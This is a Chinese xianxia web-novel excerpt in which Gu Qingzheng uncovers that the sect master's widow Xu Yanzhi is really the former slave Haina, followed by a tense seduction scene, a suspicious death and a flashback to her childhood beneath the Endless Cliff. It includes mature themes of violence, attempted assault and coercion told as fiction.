“我不……她、她……”徐广济瞳孔巨震,嘴唇带动着全身颤抖起来,“她不是,她不是已经死了,她不是被我亲手……” 小小弟子舍中掀起波涛,而画卷上的徐宴芝,一如既往地笑着。 第十九章【VIP】 第19章 第十九章她的死亡与他的吻 “谁死了?” 顾青峥死死望着徐广济,不放过他面上一丝一毫细小的变化,将画卷往他眼皮子底下推去。 那灿然笑着的女人明 明美艳如花,看在徐广济眼中却像业鬼,下一瞬便要钻出画卷来啃食他的身躯,他惊骇地瑟缩起来,不愿多看一眼画卷上的女子,只哆嗦着摇头,好似遽然间谁将他舌头偷走了。 可顾青峥并不准许徐广济躲避,他倏地站了起来,极快地逼近了他,揪着他的脖颈狠狠拉到画前,语气危险地逼问道:“莫要让我再说第三次,看着这张画,告诉我谁死了?” 徐广济害怕画中鬼,更害怕身前鬼。 他面前的顾青峥斜斜上扬的眼尾泛着红,黑压压的眼沉沉不见半点光,嘴角却勾起,皮笑肉不笑地钳着徐广济,像他如猪如狗般任人宰割。 “海娜,是海娜死了!” 他终于抵不住恐惧,颤抖着说道。 顾青峥瞳孔一缩,手下更多了一分力,在徐广济痛到告饶的哀求中,他诡异地柔声道:“死的,不是徐宴芝,是海娜?” “徐宴芝不是活得好好的吗?她当了掌门夫人,在我头上耀武扬威了!明明是个长得丑陋的柴火棍!你们都跟没长眼一般捧她是北域第一美人!你们都瞎了吗?” 提到徐宴芝以后,徐广济被压抑许久的愤恨竟然冲破了对顾青峥的畏惧,兀自倾泻了出来。 他眼珠因愤怒凸出来,鼻孔张得极大,不堪且卑劣明晃晃地写在了脸上。 顾青峥松开了手,任由徐广济大喘着气,颓然跌坐在床上。 他移过视线,低头看着手中的画。 画中女子也笑着看着他,隔着画卷,恍惚也见到了她魅惑的眼眸,与摄人心弦的唇瓣。 “与所有人不一样时,你竟怀疑世人皆盲,也不愿疑心是自己瞎。”顾青峥从怀中拿出方巾,细致地擦拭着方才触碰到徐广济脖颈的手指,语气恍惚地抬头看向圣山的方向,“已经说到这儿了,便将事情都说了吧。” 徐广济偷偷掀起眼皮看向顾青峥。 他面无表情,眼中却布满了红血丝。 平静却狰狞,徐广济从未见过顾青峥这幅模样,曾经他远远见到的是光风霁月的君子,上前攀谈的是和煦温和的师兄。 这面具底下藏着什么怪物,他不愿意知道。 徐广济垂下头,低声说起关于海娜、徐宴芝的故事。 徐广济是父母唯一的孩子,自幼起便备受宠爱。 他出身在七峰山下,虽然徐家只是三流仙家,但因为家中生意做得很大的缘故,徐广济锦衣玉食地长到了十来岁,从未吃过半点苦。 除了他展现出天赋的时间有点晚。 北域寻常幼童,如他的幼时玩伴,早在七八岁便显出了对灵力的感知,十岁以前就通过了弟子大选,成为了宗门一员。 而徐广济却一直拖延到十六岁,才显出了不一样来。 他的父母几乎以为他这辈子与仙途无缘,要做一个普通凡人,私底下绝望了数年后,忽然又有了希望。 徐家父母喜极而泣,与儿子抱头痛哭,这一年恰巧又是大选的年份,同期入门的弟子一般都关系紧密,他们为了给儿子一点助力,特特遣人去旁**儿,接了几个同样有天分的子侄,想要让他们一同去参加大选。 要知道,按照以往的惯例,应当是旁支遣人来到七峰,带上许多礼物,祈求徐家家主安排孩子去大选才是。 徐家住在溟海旁的旁支十分震惊,连忙将也是大器晚成、养的如珠似宝一般的女儿送上了主家来接人的车,旁支的家主不舍女儿,也跟着一块儿护送女儿往七峰走。 在路上时,旁支家主害怕女儿若是没有选上宗门弟子,住在主家受委屈,行至一处仙城时,暗地里找了奴贩子,买了一个长得好看的女奴,陪伴女儿去七峰。 旁支的女儿名唤徐宴芝,她的女奴自称海娜。 他们一行人来七峰的路上,桀骜不驯的女奴因多次试图逃跑,受了许多教训,出现在徐家主家时,已经变得沉默又听话了。 徐宴芝带着海娜安顿了下来,她的父亲则重新返回了溟海。 她们入府那一天,徐广济正独自在外头与商铺的凡人伙计玩耍,回来的晚了些,并没有第一时间见到这一回到七峰山下来的几个旁支同辈。 第二日一早,他走出自己的小院,与出门为主人打水的海娜撞了个正着。 徐广济怔在了原地,海娜竟然长了这样一张好看的脸。 海娜似乎畏惧生人,见了他,她诺诺低头,想要立即离开。徐广济上前追问,费了一番口舌,得知她是旁支同辈徐宴芝的女奴。 或许是他的视线过于炙热,海娜飞快地与他见了礼,抱着东西逃也似得走了。 从那以后,海娜像是在徐广济心中扎下了根一般,时时刻刻出现在他脑海中。 他总是在水井处候着她,因家中住的同辈都还不曾修行,如凡人一样要吃饭喝水,在水井旁能等到畏惧他的海娜,战战兢兢地前来为主人打水。 徐宴芝不是好相与的主人,徐广济又如饿狼一般在一旁虎视眈眈,海娜在徐家过得很艰难,许多人都听到过她被责骂的声音。 为了躲徐广济,海娜愈发谨小慎微,每日来去匆匆,可没想到还是出了事。 那天海娜出门,为徐宴芝取食物。 她到底是在徐家,哪怕终日躲闪,也总算被徐广济逮住了机会,海娜被他逼在墙角住,左右都无法动弹。 绝望之下,她出手打伤了徐广济,这件事闹到了徐广济母亲面前。 儿子受了伤,徐母很生气,海娜与徐宴芝一同被责罚了。 而受了责罚的徐宴芝更是气得要命,她转而再次惩罚了海娜后,寻到徐广济,说要与他做一个生意,她将海娜卖给徐广济,徐广济替她在父母面前美言几句,让她父亲过来七峰山下,与主家一块儿做生意。 徐广济当时只有十六岁,正是下半身支配脑子的时候,闻言自然点了头,他跟着徐宴芝一块儿来到她的院子里,见到了狼狈不已的海娜。 脆弱的、蜷缩在角落里的海娜也那样美。 徐广济立即起了歪心思,他让徐宴芝替他关门,转身就要强行对海娜不轨。 他上了头,完全没察觉海娜眼神中的狠厉,上前掐住了她的脸,强怕她看向自己。 可这个女奴不知哪儿来的本事,他们对视后,徐广济忽然感到一阵头晕,海娜趁着这个机会,举起桌上镇纸,狠狠地打破了他的头,当即让他趴在了地上。 还未走远的徐宴芝闻声吓了一跳,折返回来查看。 徐广济趴在地上,血从他额上汩汩流下,几乎糊住了眼睛,他隐隐约约看见,徐宴芝进门后,也与海娜激烈地打斗起来。 徐广济还昏昏沉沉地勉力站起来,想要从后与徐宴芝一块儿制服海娜。 说来真是奇怪,他身上明明有父母为他求来的浅显法阵,危机时能保他的性命,在海娜面前却没甚大用。 这诡异的女子遽然爆发出怪力,身上散出浊气,充斥在屋里,像是传闻中的业鬼一般。 还未曾修行,如凡人一般的徐广济哪里是对手,他再次失去了意识。 这一回徐广济昏迷了很久,当他醒来后,已经是第二天了。 那时太阳刚刚升起,在朦胧的晨曦当中,徐广济看见一身鲜血的徐宴芝与他一般捂着头,蜷缩在墙角。 视线再往下,那个美丽的、如业鬼一般的海娜,已经僵硬地睁大了眼,死去多时了。 海娜死了,徐广济知道自己惹了大麻烦。 在七峰之下,一个还未正式修行、成为宗门弟子的人应当被视为凡人,凡人杀人,要以凡人的法规来处置。 徐家家主阴沉着脸,狠狠处置了徐广济与徐宴芝,又为他们隐瞒,将海娜的尸体草草处理了。 这件事,在所有知情人那儿,似乎已经了结了。 可徐广济自此陷入了永远不会结束的梦魇中,海娜明明已 经化成了灰,他却总是会在将要忘记时,又梦见那个场景。 晨曦之中,惨白如雪一样的美艳女子浸在血泊里,死在他的身前。 她瞪大了眼睛看着他。 从那以后,如影随形,永远看着他。 徐广济越说,声音越低,头也越低,等到将一切都从头到尾说了明白,他已经禁不浑身发抖、落下泪来。 只是,他的面前久久没有传来声响。 徐广济低着头,胆怯地看着顾青峥的双手,他握得很紧,几道青筋虬结地绕着这双不知取过多少生灵性命的手。 徐广济莫名觉得,若是自己此时抬头,这双手也会要了他的性命。 良久后,顾青峥闷闷的声音才从他头上传来。 “所以,因海娜的事,徐夫人与徐家起了冲突。” “自然,徐宴芝怪我杀了她的女奴,可我分明记得海娜没死时我已经失去了意识,是她自己杀了海娜,最后反而倒打一耙,将事情全推到了我的身上。” “我听闻徐夫人来到七峰山下后,生了一场病,错过了一次弟子大比。” “就是因为这一次,我和她都受了伤,根本没办法出门,只得等到两年后。” “最后一个问题。”顾青峥抚了抚腰间长剑,声音轻飘飘的,问了一个徐广济觉得诧异的问题,“海娜从生到死,都没有离开过徐家,只有你们家人见过她吗?” “当然没有离开过,我听说她进城时坐在车中,用破布包着头脸,到了徐家后,徐宴芝不愿折了自己脸面,让她不许这样,她才将布摘下,但就算是这样,因为她从不在无事时踏出房间,徐家人几乎没见过她几面。” 顾青峥不置可否地应了,脸上一时平静一时浪起,片刻后,他叹息着松开手,往门的方向走去。 “顾师兄就这样走了吗?你不再问问别的?你、你为什么要管徐宴芝的事?”徐广济见顾青峥竟然要这般离开,莫名着急起来,抬起头来急切地追问道。 顾青峥不答,转而将画卷收进了锦囊中。 徐广济看见画卷,更是疑窦丛生,追上来想要抓住顾青峥的胳膊,大喊道:“七峰山下只有徐家人见过海娜的脸,顾师兄从哪里得来这幅画像?” 说到这里,他忽然停下了脚步,瞪大了眼喃喃道:“难道,是徐宴芝画的?她为什么要留下海娜的画像,她竟然还挂念着海娜吗?” 这番话终于让顾青峥停了下来,他转头,用不知何时变得猩红的眼看向徐广济,怜悯地叹道:“因为这样,所以她才留下你吗……” 说罢,不论身后的徐广济如何祈求与追问,顾青峥都没再回头。 离开徐广济的弟子舍后,顾青峥越走越快,如同身后有惨白的胳膊想要抱住他,有乌青的唇瓣想要亲吻他,有纤长的青丝想要纠缠他。 海娜,海娜。 这个名字不断地在他脑中徘徊,让他一点一点被黑暗啃噬。 此界之中,据顾青峥所知,并没有哪个地方会这样起名,海娜这个神秘的女子,她究竟从何方而来,又想要去向哪儿。 能够混淆人心的海娜,她的力量究竟能达到什么程度。 窃取三流仙家旁系子女的身份进入北域七峰,是她原本计划中的一部分,还是孤苦伶仃的少女在绝望中迸发的最后力量,以求抓住奔向自由的救命稻草。 不,顾青峥脑中闪过了血红的月光,他立即否定了自己。 海娜不会绝望,她是肆意生长的野花,挣命一般扎根在旁的血肉上,吞噬着被麻痹的躯体,抓住一切机会向上爬。 面色灰败的顾青峥登上灵舟,往太阴峰方向飞去。 他驾驭着这艘船,驶向他始终仰望着的方向。 那个女子总是在那儿,她总是跟在宇文令的身旁,用讨人怜爱、驯服婉转的眼神看着他。 她看着宇文令,他看着她。 看着她精心呈现的笑,看着她孱弱如羔羊般展示出莹白如玉的脖颈。或缠绵地望着身旁人,或乖顺地颔首。 ‘徐宴芝’眼里只有宇文令,她从未真正看见过其他人,她甚至没有回头过一次,若是她回头了,亦步亦趋守在二人身后的顾青峥应当会更谨慎一些。 她将属于海娜的一切彻底地抛下了,将孤注一掷地看向前方。 想到这儿,顾青峥哈的一声,古怪地笑了起来。 她怎么会看见自己呢,他也是海娜的一部分,早已被她弃之如履。 风雪在顾青峥心中鼓噪出了巨大的回响,无数‘徐宴芝’的身影闪烁着从他心头划过,她的影子太单薄,将他划得生疼。 灵舟终于停在太阴峰上时,顾青峥面无表情地松开船舵,将身子往后一靠,一动不动地坐了一会儿。 等待外头有小弟子疑惑问道:“是顾师兄回来了吗?”他方才从沉思中惊醒,嗯了一声,起身下了船。 那小弟子仍然等在一旁,见顾青峥下了灵舟,凑上去道:“好叫您知道,闵师兄让我们看见您就给您带个话,说是传音符也联系不上您,若是您回来太阴了,先去寻他,他有事找您。” 是因为画卷的缘故。 想到师弟,顾青峥逐渐找回了表情,笑着对小弟子道了谢,抬脚往他们住的前殿走去。 闵道一甚至没有在院中候着,远远的,顾青峥便看到他不高兴地抿着嘴、背着手靠在院门上。 他轻咳了一声。 闵道一立即转过头,急冲冲地向他走来,口中嚷道:“师兄,将画还给我!我与师娘约定好了今日要将画送给她的!” 顾青峥从锦囊中拿出画卷,投降一般高高举起。 他的师弟身量只到自己耳下,从闵道一幼时起,顾青峥便经常这样逗弄他。 闵道一一如既往地被逗红了脸,已经是筑基境的仙人,哪里还会够不着师兄的手,他嘟嘟囔囔地抢过画卷,转身往小院走去。 他还未踏入小院,顾青峥又叫住了他。 “等会你画完,我替你将画送去给师娘。” 闵道一的脚停在原地,他双眼无神地看着小院中的白色小花,反问道:“为何?” “我有事要寻师娘商议,替你走一趟,怎么还不乐意了?”顾青峥随口敷衍道。 “我有甚不乐意的。” 闵道一拿着画卷走进院子,声音越来越低,顾青峥在门口等了一会儿,便听他在里头唤道:“师兄,我画好了。” 他慢吞吞地从里头走出来,垂着头,掀起眼皮瞥了一眼顾青峥,问道:“师兄寻师娘究竟何事?” 顾青峥眉毛微挑,如电一般看向他的师弟,语气极温和地问道:“一些庶务,怎么?” “无事。”闵道一将画卷交到他手中,再抬头时,他笑得开朗极了,“师兄快些吧,天都快黑了。” 顾青峥嗯了一声,并未离开,而是注视着师弟背对他慢慢走回房里,方才转身去向徐宴芝的住处。 可直到已经能瞧见那间偏远小院的门,他也仍旧没有头绪,他究竟来这儿要做些什么。 今晨,徐宴芝费了一个时辰,才按照宇文令留下的灵器指引,穿过了重重风雪,到达目的地。 届时她已经近乎力竭,在山中歇了好一会儿,虽说下山路比上山好走一些,她也花了更多的时间回到小院。 原先说好的要与小弟子们一块儿修缮结界,现下是一定做不成了,徐宴芝除下几乎被暴风撕碎的斗篷,恹恹地伏在床上歇息。 为了此行,她已经做了许久的准备。 太阴峰越往上,灵力便越是混乱无序,本就暴虐的风雪在灵力地催化下成了能夺命的武器。 在视线毫无作用的状况下,若非有识途的大能带领,寻常成元期的仙人都将迷失在风雪里,或许从此失去了踪影。 宗门从不对圣 山设防,因为圣山有的是办法庇护自己。 筑基期徐宴芝能到达山门处,只因那个指引她前进的灵器给予了一些庇护,她自身的灵力为此消耗殆尽,浑身上下连一根指头也抬不起来。 她建造的巢穴绵软无比,徐宴芝放任自己抛开意识,沉浸在玄虚的梦幻中。 踏上这片土地后,她无时无刻不在为了生存殚精竭虑,在确认了圣山山门后,徐宴芝允许自己短暂地把一切放下,享受片刻的甜梦。 但她允许,有人却不允许。 外头传来了门被叩响的声音,轻轻的,敲一下,缓一缓,再敲两下。 徐宴芝紧闭着眼,捂住了耳朵。 她不开门,外头不管是谁,应当都不会再敲第二次。 可她听到了呼唤。 “海娜——” 有人叹息一般,把海娜二字混在了吐气里,散在空中。 徐宴芝面无表情地睁开了眼,盯着眼前丝缎上金线绣成的繁花。 她已经决心将那两个字,与从前的一切一起丢进太阴峰的风雪里,为何仍在听到那一瞬心头悸动。 ——她很不解,如履薄冰地走到此地,听见死人的姓名,她竟然只感到怀念。 徐宴芝双臂用力,撑起自己,慢慢翻过身来。 她头晕眼花地吞下救急的灵药,等到灵力恢复一些,勉强扶着床沿站了起来,走出房间,走到门口。 徐宴芝站定了一会儿,等到确信自己看不出疲惫后,她打开门,朝着外头的顾青峥懒洋洋地笑了。 “怎么?” 徐宴芝说着,歪歪扭扭地倚在门上,瞥了一眼面前男子后,垂下眼帘,打量起右手上的指甲来。 顾青峥扬了扬眉,举起手中画卷:“替师弟送画。” 徐宴芝伸手要接,他倏然将画卷举高,让她接了个空。 “没事便回吧,我累了。” 徐宴芝斜了他一眼,转身便要进屋。 “这卷画,除了师弟、你、我以外。”顾青峥在她背后低声说着,“还被徐广济瞧见了。” 徐宴芝停下了脚步。 “您知道他说什么了吗?” “他说这是死人的画像。”徐宴芝回头粲然一笑,伸手握住着顾青峥拿着画卷的手,轻轻往里一拉,“他像见了鬼一样,害怕得不得了,他说—— 画中的人,叫海娜。” 顾青峥面前的女人吐气如兰,媚眼如丝。 她用极轻的力道,连长发都无法捧起,却将顾青峥拉进了小院里。 门在他身后关上,将外头小弟子的视线都隔绝,徐宴芝看着他的眼睛,柔声问道:“青峥,你对我说这些,是想做什么?” 她说罢,示弱地移开了视线,垂下头来,露出了一截白皙的后颈。 就像她在宇文令面前一样,徐宴芝向身前人奉上自己致命的脆弱,引诱着忍不住的猎人,来折断这不堪一击的东西。 她用这种方式来对待他。 顾青峥瞳孔缩得极小,他一时失了神,伸手捏住她的手腕,慢慢往上滑,卷起了她的长袖,露出她润泽的肌肤。 他曾见许多次见过,宇文令漫不经心地握住她的手,旁若无人地轻轻揉捏着。 她是雪白的,又是绯红的。 顾青峥摩挲着手下凝如脂的触感,略微用力,就能留下清晰的红痕。 他们都看向这红痕,彼此之间似乎空气也凝滞了。 徐宴芝眨了眨眼,先开了口:“我走不动了,抱我进屋。” 下一霎,她便靠在了顾青峥的胸前,又被他试图摔在她的床上。 徐宴芝却又不从了,她反勾住他的肩,用了个巧劲与他颠倒了身位,转而将顾青峥推倒在床上。 她绵软的身子一丝不苟地贴着他的,又伸出胳膊攀着他的胳膊,她将脸贴在他的脸旁,感受着鼻尖吹拂过的炙热气息。 徐宴芝呢喃道:“你想怎么对我呢?” 羸弱者在上,轻言细语,似乎在哀求。 顾青峥眼角泛红,伸手握住她的腰肢,紧紧与她相贴,他张嘴咬住了她的耳垂,含糊地虚张声势:“您说呢?” 痛与痒同时如电流一般经过她,徐宴芝嘶了一声,转头将耳垂从他口中拯救出来,她撑在他胸前,索性双腿跨在他腰上,坐直了身子。 顾青峥浑身一颤,闷哼一声,伸手想要抓住这个女人肩膀,将她按在身下。 但徐宴芝此时竟然更快,她的右手闪烁起来,按住顾青峥的肩膀,哄劝道:“别动……” 顾青峥无法抗拒地被控制在她的手下,他的眼中浸染了无尽春色,唇上也泛起水光,方才的游刃有余不知被他丢到了何处,他只能茫然地看着她。 徐宴芝又拿出了一枚方巾,撩过他的鼻尖,声若蚊蝇地说道:“记得吗,你赠给我的。” 她将方巾撕成两半,一半蒙住了顾青峥的眼,一半捂住了他的嘴。 而他身上的长袍早就在动作之间散开,露出了大片小麦色的胸膛,顾青峥长年累月地修行,每一寸肌肤都充斥着力量,可他衣衫不整、发丝紊乱,眼与口皆被绑住时,竟然奇异的脆弱起来。 看着身下的一切,徐宴芝面上染上了绯红。 她喟叹着俯下身,看着顾青峥的喉头滚动,伸出一根手指,蜻蜓点水地碰了碰。 顾青峥无法脱离她的控制,瑟缩地颤动着。 “你先听我说,以前那些事,我都忘了。”徐宴芝学着顾青峥,张口咬在他的喉间,愉悦地享受着身下人细微的小动作,她一边轻咬,一边含糊说着,“海娜已经死了,我是徐宴芝,从前是北域七峰的掌门夫人,如今也只是个没了丈夫的可怜女人。” “青峥,你行行好,容我在七峰上活下去吧,我原本也与你相安无事,好不好?” 徐宴芝楚楚可怜地说完,她抬手抱住顾青峥,气声在他耳旁道:“若是你不同意,那便别怪我了。” 她的手慢慢往下,握住了他。 “徒儿以下犯上,往师娘头上编织一些莫须有的罪名,不是常事吗?我叫小弟子过来看好不好?”在顾青峥看不到的地方,徐宴芝笑靥如花,“唉,你现在瞧上去顺眼多了,我原本就最讨厌你的眼睛,黑漆漆的,若是绿色便好了。” 与本能对抗着的顾青峥闻言一怔,忽然松懈下来,突兀地、闷闷地笑了起来。 这刹那,徐宴芝感到自己失去了对这场斗争的控制。 她皱着眉松开手,扯开了他嘴上的方巾,神情不悦、居高临下问道:“你笑什么?” “夫人,您恐怕有些过虑了。”眼睛蒙着方巾,身体被徐宴芝控制着,顾青峥竟然从混沌中找回了理智,他喘着气,温言对徐宴芝道,“我方才想明白了,我来,只想问您一个问题。” “什么问题?” “我只想知道,您究竟来自何方?” 此处无人注视着徐宴芝,她久违地放弃控制面上的表情,怀念地啊了一声。 这个问题将她从情迷中拉了回来,她一下子回到了纯真的年华,失去了兴致。 过了许久,在一片黑暗中,顾青峥听到她小声地说道:“我啊,从你们都去不了的地方来。” 徐宴芝的心防高筑,到了这个地步,真相近在眼前,她也不愿吐露一丝真言。 “您不信我?多年相处,我也从未伤害过您。” 顾青峥幽幽道。 “这里谁也没有伤害过我,你又如何不同?我为何要信你?”徐宴芝起身坐在床上,松开了控制顾青峥的右手,“若是一直使用圣山的力量,其他人迟早会发现,你快些离开吧。” “您觉得我会对您不利?” 顾青峥缓缓起身,摘下眼 上的方巾,他眼皮很薄,若隐若现透出下面的青丝,眼尾微微挑着、红着。 他直勾勾地看着她的眼睛,语气逐渐危险起来:“若我不会呢?” “那你会如何对我?放过我,将这个秘密吞下肚去,还是让我继续做北域掌门夫人?” 说到这儿,徐宴芝像是说了一个笑话,兀自笑了一声。 她笑得刺眼,收起了伪装的乖顺。 屋里安静了一瞬,气氛急转直下,顾青峥睁着赤红的双目,面容扭曲起来,他阴恻恻地说道:“他可以,我为何不可以?” 他们都知道他在说谁。 徐宴芝有片刻失语,而后忽然恼怒似得,咬牙切齿地森然答道:“他可以,你也不可以。” 她的衣襟大开,一片肌肤露在外头,却无半点旖旎之姿。 “我讨厌你的这双眼睛。”她随手拉起衣裳,站直了身子,欺身逼近顾青峥,“谁让你这样看我?谁让你做出一副了然于胸、高高在上的样子——” 说到这,她倒吸了一口气,偏过头,将后半截话吞了回去。 一时间,屋里沉默下来。 过了一会儿,徐宴芝又重新在心中筑起了防线。 “当然,如果你能把你的性命,你的前途,你的一切都献给我,或许我也会考虑一下,就像宇文令为我做的。” 徐宴芝漫不经心地说着,讥讽地笑道:“你都看到了,你看到你师父是如何对待我的了,对吗?你想要师父的位置,还想要师父的道侣?” 她把羞恼藏好,又找回了控制感,变得高高在上起来。 她的鼻尖靠近他,讲话时整齐的牙齿一张一合。 那牙齿明明平整又小巧,却被顾青峥看出了渴血的尖角,恍惚间便要扎进他的脖间,叼出血淋淋的喉头。 徐宴芝不啻于对他展示赤条条的恶意。 “哈。”顾青峥短促地笑了,他脑中的弦断了。 他不退反进,用力拉过她的手,把她拉进了怀里。 俩人四目相对,空气似乎溅起了火花,他们谁也不甘示弱,谁也不肯退缩,谁都忘了这次会面的因缘。 顾青峥是更昏头的那一个。 他像是想要惩戒这张淬了毒的嘴,低头猛地咬住了她的唇,毫无章法地啃噬着,率先品尝到了她鲜血的滋味。 血腥味在二人口腔内弥漫开,刺激地徐宴芝阵阵眩晕,她唇齿间溢出羞人的声音,伸手插进顾青峥的发间,用力往后拉开,唇齿分开了一瞬后,她又吻上了上去。 “我教你,这样可不行。” 徐宴芝坐在顾青峥的胯间,低头捧着他的脸按向自己,她的唇是柔软的,又是凶狠的。 她让顾青峥顷刻间丢盔卸甲,丝毫组织不了攻势,只能反手尽力箍住她的腰肢。 屋内似乎铺了太多的暖玉,热得沁出汗来,密密的浸湿了衣裳,又染在旁人的身体上。 湿漉漉的吻,湿漉漉的人,鼻间的气息都潮湿又黏腻。 吻到最后,徐宴芝撑在顾青峥的胸上,将他推出一臂的距离。 顾青峥还要纠缠,却被她捂住了嘴,嘘了一声。 几缕发梢黏在了徐宴芝的脸上,她的唇红肿似能滴下水来,她喘着气,凝神听着什么,接着大声地回答道:“今日不行,且待明日吧。” 顾青峥慢慢回过神来,意识到外头有小弟子正在门口,向徐宴芝请示着什么。 他竟然这般头脑发昏,耳中只剩心跳如鼓,往日里能察觉数十里以外动静的仙人,连数十步外的声音都听不见。 徐宴芝一手整理自己,一手抹平了他揉皱的衣裳。 她站直了身子,从床上将顾青峥拉起,她重新为他束起发,将他额间跌落的发丝抿整齐。 “走吧,今日的事,我没听过,你没说过。” 徐宴芝推着他的肩,要让他离开这里。 只是她手下的身子一动不动,无神地看着前头,轻声道:“我说过,你听过,发生的事便发生了。” 留下这句话,顾青峥面无表情地站起身,不再看向徐宴芝,大步离开了这里。 他推开房门,察觉到院外站着几位小弟子,呼吸沉重,像是累极了。 徐宴芝与他不同,很小心地没有在他面上留下任何可疑的痕迹,让顾青峥得以迎着小弟子走出门去后,还能露出温和得体的笑。 “师娘身子一贯不好,今日又有些不舒服,我服侍着她饮下炊玉饮歇下了。”他对前来寻徐宴芝的小弟子叹息地说着,眉眼中恰到好处地露出了一丝担忧。 小弟子们惊讶了啊了一声,一叠声道:“原来是这样,早上我们还遇见了徐夫人,她那时还好好的,说等她回来与我们一块儿修缮法阵呢,事情实在有些忙不过来,我们便想着过来与她说一声,没想到。” “是啊,她的身子这般,我也忧心不已。”顾青峥摇了摇头,像是想起了什么一般,“师娘早上去天枢峰了吗?” 小弟子全然不设防,笑道:“没有,徐夫人往圣山上去了,想来是去查看结界边缘了吧。” 顾青峥微微一怔,低声重复道:“往圣山上去了?” 以她的修为,无论如何也无法再从此处往上爬了,徐宴芝当真是去检查结界松动之处了吗? 顾青峥心中一突,总觉得没有这样简单。 他又与小弟子闲聊了几句,转身往前殿去了。 走到一半,情潮退去,理智回笼,今日徐宴芝有恃无恐的笑容又出现在他的脑中,她的一颦一笑,一言一行,顾青峥反复的琢磨起来。 遽然间,他心中闪过一个念头。 顾青峥快步走到前殿,再次踏上了去往天枢峰的灵舟。 灵舟停在天枢峰后,顾青峥越往后山弟子舍走,前头的人群便越多,众人皆面色凝重,神情紧张。 他停下了脚步,拍了拍身旁一位小弟子的肩膀,低声问道:“这位师弟,可知道前头发生了何事?” 那位师弟皱眉回头,瞧见顾青峥的那一瞬便舒缓了眉头,沉声答道:“回顾师兄的话,弟子舍中有人散尽灵力自尽了。” 顾青峥呼吸凝滞了一瞬,他已经晓得的了死的究竟是谁,却仍旧下意识地问道:“是谁?” “是徐夫人的族弟。”师弟一边回答,一边偷偷瞧着顾青峥的脸色,“徐广济。” “方才到了晚间点卯的时辰,他并未出勤,同门便去弟子舍唤他,那知一进去,便见到徐广济气绝人亡了。” 霎那间,徐宴芝的笑容又浮现在顾青峥面前。 她说,只当今日他未曾说过,她没有听过。 为何她这样笃定? 因为这个谨慎的女人根本不曾留下任何证据。 徐宴芝可以混淆人心,这力量究竟可以做到何种地步,顾青峥渐渐的,又看到了一些。 太阴峰上,徐宴芝眼冒金星地软倒在床上。 她送走了顾青峥后,只能无力地仰面躺着。 半梦半醒间,徐宴芝记起了很久很久以前的事情。 在昏暗的地下,遍地花朵的包围下,小小的她总是坐在山坡上,仰望着天上的一线光明。 天上究竟有什么?她可以看到吗? 崖下这些漫山遍野的海娜花,能在太阳底下绽放吗? 虚与实之间,梦幻与真相之间,徐宴芝凝视着瘦小的她,想要跨越时间山海给予她回答。 海娜花能在任何地方绽放,海娜。 她到了这世间距离家乡最为遥远的太阴峰上,也依然能看到拼命活下去的海娜花。 当然,它们在这里不叫这个名字,这里的人管它们叫做—— 寒来花。 第二十章【VIP】 第20章 第二十章从前的事 徐宴芝自幼,便不是安分的小女孩儿。 与玩伴们玩耍时,她总要出风头,争着要做领头的那个,将孩子们当做手下,安排各种的活计,教他们忙得团团转。 有的孩子喜欢她,乐意听从她的指挥,与她相处的好, 有的孩子也爱出头,并不服她,就要跟她争吵打架。 有时候她打赢了,有时候旁的孩子打赢了。 但只要是打架,就总有她,这让族人们十分不满。 老人自持身份,不愿意与小女孩儿说理,遣了年轻人来告诫她:在崖下生活,本就活得艰难,族人们更要团结一处,莫要意气相争。 她屡屡被训斥,却又屡屡不改。 族中老人感到丢失了脸面,愤怒起来,当着族人们的面发了话,不许孩子与她一起玩——让她自生自灭!自己反省去! 老人已经活了九十多岁了,无尽之崖下,能活到这么老的人实在少,族人们都尊敬着,见老人发话了,连原本愿意听从徐宴芝指挥的孩子们也不与她玩耍了。 她所在的部族人数少,又贫穷,在崖下四处游荡讨生活,能延续下去,自然是因为服从长者。 每当族人又找有干净水源的地方,将车上帐篷拿下,在空地上搭建起来时,孩子们便嘻嘻哈哈、三五成群地抱着器皿,由年轻人带领着一块儿去取水回来。 没人理她,徐宴芝只能独自捧着巨大的木盆,跌跌撞撞地坠在人群的最后头。 曾为她冲锋陷阵过的部下见状,也悄悄地趁人不注意劝过她几回:“海娜,你就不要犟了,你总想着要学着排兵布阵,要打上天去,这本就是不可能的,我们又不适合生活在天上。族里老人哪是因为你打架生气,是因为你嚷着要带我们去天上才生气的。” 瘦小的徐宴芝,穿着破破烂烂不合身的宽大衣服,静静听着玩伴劝她。 她垂着眼眸,像是听进去了,又像是没听进去。 玩伴说道最后,总是要提到她的父母:“想想你的阿姆阿父吧!他们也想到天上去,结果呢?死了呀!” 说到父母,徐宴芝也总是忍不住要生气,她每每都会眼一横,试图用不成熟的暗示之力混淆玩伴,还会梗着脖子道:“他们去不成,我一定能去成!到时候,你们全都只能佩服我!佩服悬崖下的海娜!” 但她那时小,只能混淆几只误入部族的小蜥蜴,族人们又都擅长暗示,各个有了抗性。 玩伴完全没有被她影响,见她油盐不进,啐过她好几次:“悬崖下叫海娜的都有十几个!我阿姆都叫海娜!” 这句话也每次都能噎住徐宴芝。 海娜在无尽之崖下头,是再寻常不过的名字了。 这里一年四季,都只有正午时能有一丝微弱的阳光能照进崖底,光线微弱,水也浑浊,浊气浓郁得如有实质。 长得最多的植物,就是白色的、小小一朵的海娜花。 只有它才有这样顽强的生命力,能满山遍野地长满,不仅好看,崖下人还拿它当做食物,充饥解渴。 既然海娜花这样好活,大家生下孩子的时候,也纷纷用海娜来为孩子命名,祈愿孩子能在这样恶劣的环境里好好的活下去。 徐宴芝玩伴的阿姆,是个粗矮沉默的女人,她不爱说话,也不喜欢徐宴芝。每回看到女儿跟徐宴芝玩耍,她都要恶狠狠地揪住女儿的脖子,将她拎到一旁。 与这样的阿姆同一个名字,让小小的她恼怒不已,她斩钉截铁地对玩伴说:“等我以后去了天上,一定会改一个好听的名字,独一无二,比崖下所有人的名字都好听!” “我不信,我们是崖下人,在天上根本活不了,天上的人各个都是怪物,会把我们吃了,你就死了这条心吧!”玩伴嗤之以鼻。 再忠诚的部下也受不了主将时常谵妄。 等徐宴芝再长大了一些,她依旧如此,说着要去天上的话,儿时的伙伴纷纷离她而去,她不再有朋友,成为了崖下著名的怪人。 七八岁的时候,部族去城中交易,常常有听闻过她名字的其他部族过来,特意要寻那个“古怪的海娜”,瞧瞧她到底是何方神圣。 徐宴芝还没能去到天上,已经有了独一无二的名字。 她的名字在崖下传得越来越响,人人见了她都要讥讽几句——海娜,你还想去天上吗?要不你爬上去吧! 徐宴芝恍惚觉得,那时候她才算真正长大了,懂得了一些事,也变得越发孤僻起来。 